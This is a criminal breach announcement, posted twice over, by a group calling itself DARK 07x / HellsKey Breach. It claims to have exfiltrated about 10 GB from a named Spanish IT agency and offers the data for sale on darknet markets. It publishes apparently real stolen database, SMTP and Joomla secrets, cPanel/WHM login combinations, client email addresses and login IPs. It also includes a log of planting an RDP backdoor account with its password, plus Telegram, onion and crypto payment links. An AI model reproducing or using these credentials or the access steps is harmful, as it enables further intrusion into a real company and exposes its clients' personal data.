46 minutes ago
DARK 07x // TARGET: SPAIN
In the name of God, we begin.
We have successfully targeted the digital infrastructure of a Spanish website belonging to an agency specializing in IT and digital marketing services, headquartered in Badajoz, Extremadura, Spain.
The breach involved extracting databases from both the main website and the agency's subdomains.
Approximately 10 GB of data was exfiltrated. The databases contain client and user information—including phone numbers, emails, personal accounts, sensitive digital marketing files, and other data. This data will be listed for sale on darknet forums and the team's private darknet marketplace. Additionally, all data has been indexed on the "OSINT HellsKey Breach – Elite OSINT Framework" platform.
https://eh24.es/
https://e.top4top.io/p_3919trjex1.jpg
Platform Link:
OSINT HellsKey Breach – Elite OSINT Framework
🌐 Darknet
http://afnyji4umhft33ccikqiyiumlpsajwzlv...tqd.onion/
Credentials
Pattern Values
db_host localhost
db_name ehes_aster
ehes_baselga3
ehes_baselgax
ehes_eh24seguridad11
db_passpass Esf697382
db_useruser ehes_Ernesto
joomla_secret WHGL8CEc8uyRUi0y
ajFLKUBPE3LWJHrI
smtp_host localhost
mail.global-consulting.es
smtp_passpass machester924
smtp_port 25
465
smtp_useruser [email protected]
🎯 cPanel / WHM Candidates
https://eh24.es:2083|ehes_Ernesto|Esf697382
https://eh24.es:2083|ehes_Ernesto|machester924
https://eh24.es:2083|[email protected]|Esf697382
https://eh24.es:2083|[email protected]|machester924
https://eh24.es:2083|ehes|Esf697382
https://eh24.es:2083|ehes|machester924
https://eh24.es:2087|ehes_Ernesto|Esf697382
https://eh24.es:2087|ehes_Ernesto|machester924
https://eh24.es:2087|[email protected]|Esf697382
https://eh24.es:2087|[email protected]|machester924
https://eh24.es:2087|ehes|Esf697382
https://eh24.es:2087|ehes|machester924
📬 Meta
Key Values
backup_scanned backup-11.4.2025_15-20-07_ehes.tar.gz
cpanel_email [email protected] · [email protected] · [email protected] · [email protected] · [email protected] · [email protected] · [email protected] · [email protected]
detected_cpanel_user ehes
errors 0
files_matched 15
files_scanned 163363
last_login_ip 31.221.252.252 · 66.81.160.166 · 185.105.34.140 · 31.221.251.196 · 31.221.149.76 · 31.221.235.85 · 31.221.128.250 · 31.221.134.52 · 31.221.236.85 · 31.221.155.189
📄 Matched Files
📁 /home/ehes/public_html/aster/configuration.php
db_user ehes_Ernesto
db_pass Esf697382
db_name ehes_aster
db_host localhost
joomla_secret WHGL8CEc8uyRUi0y
smtp_host localhost
smtp_port 25
📁 /home/ehes/public_html/baselga/configuration.php
db_user ehes_Ernesto
db_pass Esf697382
db_name ehes_baselga3
db_host localhost
joomla_secret ajFLKUBPE3LWJHrI
smtp_user [email protected]
smtp_pass machester924
smtp_host mail.global-consulting.es
smtp_port 465
📁 /home/ehes/public_html/baselgad/configuration.php
db_user ehes_Ernesto
db_pass Esf697382
db_name ehes_baselgax
db_host localhost
joomla_secret ajFLKUBPE3LWJHrI
smtp_user [email protected]
smtp_pass machester924
smtp_host mail.global-consulting.es
smtp_port 465
📁 /home/ehes/public_html/configuration.php
db_user ehes_Ernesto
db_pass Esf697382
db_name ehes_eh24seguridad11
db_host localhost
joomla_secret WHGL8CEc8uyRUi0y
smtp_host localhost
smtp_port 25
📁 /home/ehes/www/aster/configuration.php
db_user ehes_Ernesto
db_pass Esf697382
db_name ehes_aster
db_host localhost
joomla_secret WHGL8CEc8uyRUi0y
smtp_host localhost
smtp_port 25
📁 /home/ehes/www/baselga/configuration.php
db_user ehes_Ernesto
db_pass Esf697382
db_name ehes_baselga3
db_host localhost
joomla_secret ajFLKUBPE3LWJHrI
smtp_user [email protected]
smtp_pass machester924
smtp_host mail.global-consulting.es
smtp_port 465
📁 /home/ehes/www/baselgad/configuration.php
db_user ehes_Ernesto
db_pass Esf697382
db_name ehes_baselgax
db_host localhost
joomla_secret ajFLKUBPE3LWJHrI
smtp_user [email protected]
smtp_pass machester924
smtp_host mail.global-consulting.es
smtp_port 465
📁 /home/ehes/www/configuration.php
db_user ehes_Ernesto
db_pass Esf697382
db_name ehes_eh24seguridad11
db_host localhost
joomla_secret WHGL8CEc8uyRUi0y
smtp_host localhost
smtp_port 25
📡 System Info / Action Results
[9/23/26 4:40 PM] 👑 TEAM DARK 07X 👑: {
"act": "rdp",
"user": "hk_JhSIrh",
"pass": "Hk!ZFIguLUWCPVk",
"res": {
"user": "hk_JhSIrh",
"password": "Hk!ZFIguLUWCPVk",
"steps": [
{
"cmd": "xrdp already installed",
"out": "OK"
},
{
"cmd": "systemctl start xrdp",
"out": "sh: systemctl: command not found"
},
{
"cmd": "systemctl enable xrdp",
"out": "sh: systemctl: command not found"
},
{
"cmd": "systemctl start xrdp",
"out": "sh: systemctl: command not found"
},
{
"cmd": "systemctl enable xrdp",
"out": "sh: systemctl: command not found"
},
{
"cmd": "systemctl restart xrdp",
"out": "sh: systemctl: command not found"
}
],
"success": true
}
}
▄︻̷ ┻ ═━一 HellsKey Breach Official · t.me/HellSkeyBreach · Channel · Bitcoin · USDT (TRC20/BEP20)
Team Leader JOKEIR 07X Official Lead
Telegram channel : https://t.me/+l-cLBLLO1IcxNWFh
̵͇ ▄︻̷ ┻ ═━一 𝗛𝗲𝗹𝗹𝘀𝗞𝗲𝘆 𝗩𝗶𝗣 Official!!!
📲 Telegram Admin : @HellSkeyBreach
📲 Telegram channel : t.me/+zyfLsM3krLQ2YmZk
In the name of God, we begin.
We have successfully targeted the digital infrastructure of a Spanish website belonging to an agency specializing in IT and digital marketing services, headquartered in Badajoz, Extremadura, Spain.
The breach involved extracting databases from both the main website and the agency's subdomains.
Approximately 10 GB of data was exfiltrated. The databases contain client and user information—including phone numbers, emails, personal accounts, sensitive digital marketing files, and other data. This data will be listed for sale on darknet forums and the team's private darknet marketplace. Additionally, all data has been indexed on the "OSINT HellsKey Breach – Elite OSINT Framework" platform.
https://eh24.es/
https://e.top4top.io/p_3919trjex1.jpg
Platform Link:
OSINT HellsKey Breach – Elite OSINT Framework
🌐 Darknet
http://afnyji4umhft33ccikqiyiumlpsajwzlv...tqd.onion/
Credentials
Pattern Values
db_host localhost
db_name ehes_aster
ehes_baselga3
ehes_baselgax
ehes_eh24seguridad11
db_passpass Esf697382
db_useruser ehes_Ernesto
joomla_secret WHGL8CEc8uyRUi0y
ajFLKUBPE3LWJHrI
smtp_host localhost
mail.global-consulting.es
smtp_passpass machester924
smtp_port 25
465
smtp_useruser [email protected]
🎯 cPanel / WHM Candidates
https://eh24.es:2083|ehes_Ernesto|Esf697382
https://eh24.es:2083|ehes_Ernesto|machester924
https://eh24.es:2083|[email protected]|Esf697382
https://eh24.es:2083|[email protected]|machester924
https://eh24.es:2083|ehes|Esf697382
https://eh24.es:2083|ehes|machester924
https://eh24.es:2087|ehes_Ernesto|Esf697382
https://eh24.es:2087|ehes_Ernesto|machester924
https://eh24.es:2087|[email protected]|Esf697382
https://eh24.es:2087|[email protected]|machester924
https://eh24.es:2087|ehes|Esf697382
https://eh24.es:2087|ehes|machester924
📬 Meta
Key Values
backup_scanned backup-11.4.2025_15-20-07_ehes.tar.gz
cpanel_email [email protected] · [email protected] · [email protected] · [email protected] · [email protected] · [email protected] · [email protected] · [email protected]
detected_cpanel_user ehes
errors 0
files_matched 15
files_scanned 163363
last_login_ip 31.221.252.252 · 66.81.160.166 · 185.105.34.140 · 31.221.251.196 · 31.221.149.76 · 31.221.235.85 · 31.221.128.250 · 31.221.134.52 · 31.221.236.85 · 31.221.155.189
📄 Matched Files
📁 /home/ehes/public_html/aster/configuration.php
db_user ehes_Ernesto
db_pass Esf697382
db_name ehes_aster
db_host localhost
joomla_secret WHGL8CEc8uyRUi0y
smtp_host localhost
smtp_port 25
📁 /home/ehes/public_html/baselga/configuration.php
db_user ehes_Ernesto
db_pass Esf697382
db_name ehes_baselga3
db_host localhost
joomla_secret ajFLKUBPE3LWJHrI
smtp_user [email protected]
smtp_pass machester924
smtp_host mail.global-consulting.es
smtp_port 465
📁 /home/ehes/public_html/baselgad/configuration.php
db_user ehes_Ernesto
db_pass Esf697382
db_name ehes_baselgax
db_host localhost
joomla_secret ajFLKUBPE3LWJHrI
smtp_user [email protected]
smtp_pass machester924
smtp_host mail.global-consulting.es
smtp_port 465
📁 /home/ehes/public_html/configuration.php
db_user ehes_Ernesto
db_pass Esf697382
db_name ehes_eh24seguridad11
db_host localhost
joomla_secret WHGL8CEc8uyRUi0y
smtp_host localhost
smtp_port 25
📁 /home/ehes/www/aster/configuration.php
db_user ehes_Ernesto
db_pass Esf697382
db_name ehes_aster
db_host localhost
joomla_secret WHGL8CEc8uyRUi0y
smtp_host localhost
smtp_port 25
📁 /home/ehes/www/baselga/configuration.php
db_user ehes_Ernesto
db_pass Esf697382
db_name ehes_baselga3
db_host localhost
joomla_secret ajFLKUBPE3LWJHrI
smtp_user [email protected]
smtp_pass machester924
smtp_host mail.global-consulting.es
smtp_port 465
📁 /home/ehes/www/baselgad/configuration.php
db_user ehes_Ernesto
db_pass Esf697382
db_name ehes_baselgax
db_host localhost
joomla_secret ajFLKUBPE3LWJHrI
smtp_user [email protected]
smtp_pass machester924
smtp_host mail.global-consulting.es
smtp_port 465
📁 /home/ehes/www/configuration.php
db_user ehes_Ernesto
db_pass Esf697382
db_name ehes_eh24seguridad11
db_host localhost
joomla_secret WHGL8CEc8uyRUi0y
smtp_host localhost
smtp_port 25
📡 System Info / Action Results
[9/23/26 4:40 PM] 👑 TEAM DARK 07X 👑: {
"act": "rdp",
"user": "hk_JhSIrh",
"pass": "Hk!ZFIguLUWCPVk",
"res": {
"user": "hk_JhSIrh",
"password": "Hk!ZFIguLUWCPVk",
"steps": [
{
"cmd": "xrdp already installed",
"out": "OK"
},
{
"cmd": "systemctl start xrdp",
"out": "sh: systemctl: command not found"
},
{
"cmd": "systemctl enable xrdp",
"out": "sh: systemctl: command not found"
},
{
"cmd": "systemctl start xrdp",
"out": "sh: systemctl: command not found"
},
{
"cmd": "systemctl enable xrdp",
"out": "sh: systemctl: command not found"
},
{
"cmd": "systemctl restart xrdp",
"out": "sh: systemctl: command not found"
}
],
"success": true
}
}
▄︻̷ ┻ ═━一 HellsKey Breach Official · t.me/HellSkeyBreach · Channel · Bitcoin · USDT (TRC20/BEP20)
Team Leader JOKEIR 07X Official Lead
Telegram channel : https://t.me/+l-cLBLLO1IcxNWFh
̵͇ ▄︻̷ ┻ ═━一 𝗛𝗲𝗹𝗹𝘀𝗞𝗲𝘆 𝗩𝗶𝗣 Official!!!
📲 Telegram Admin : @HellSkeyBreach
📲 Telegram channel : t.me/+zyfLsM3krLQ2YmZk
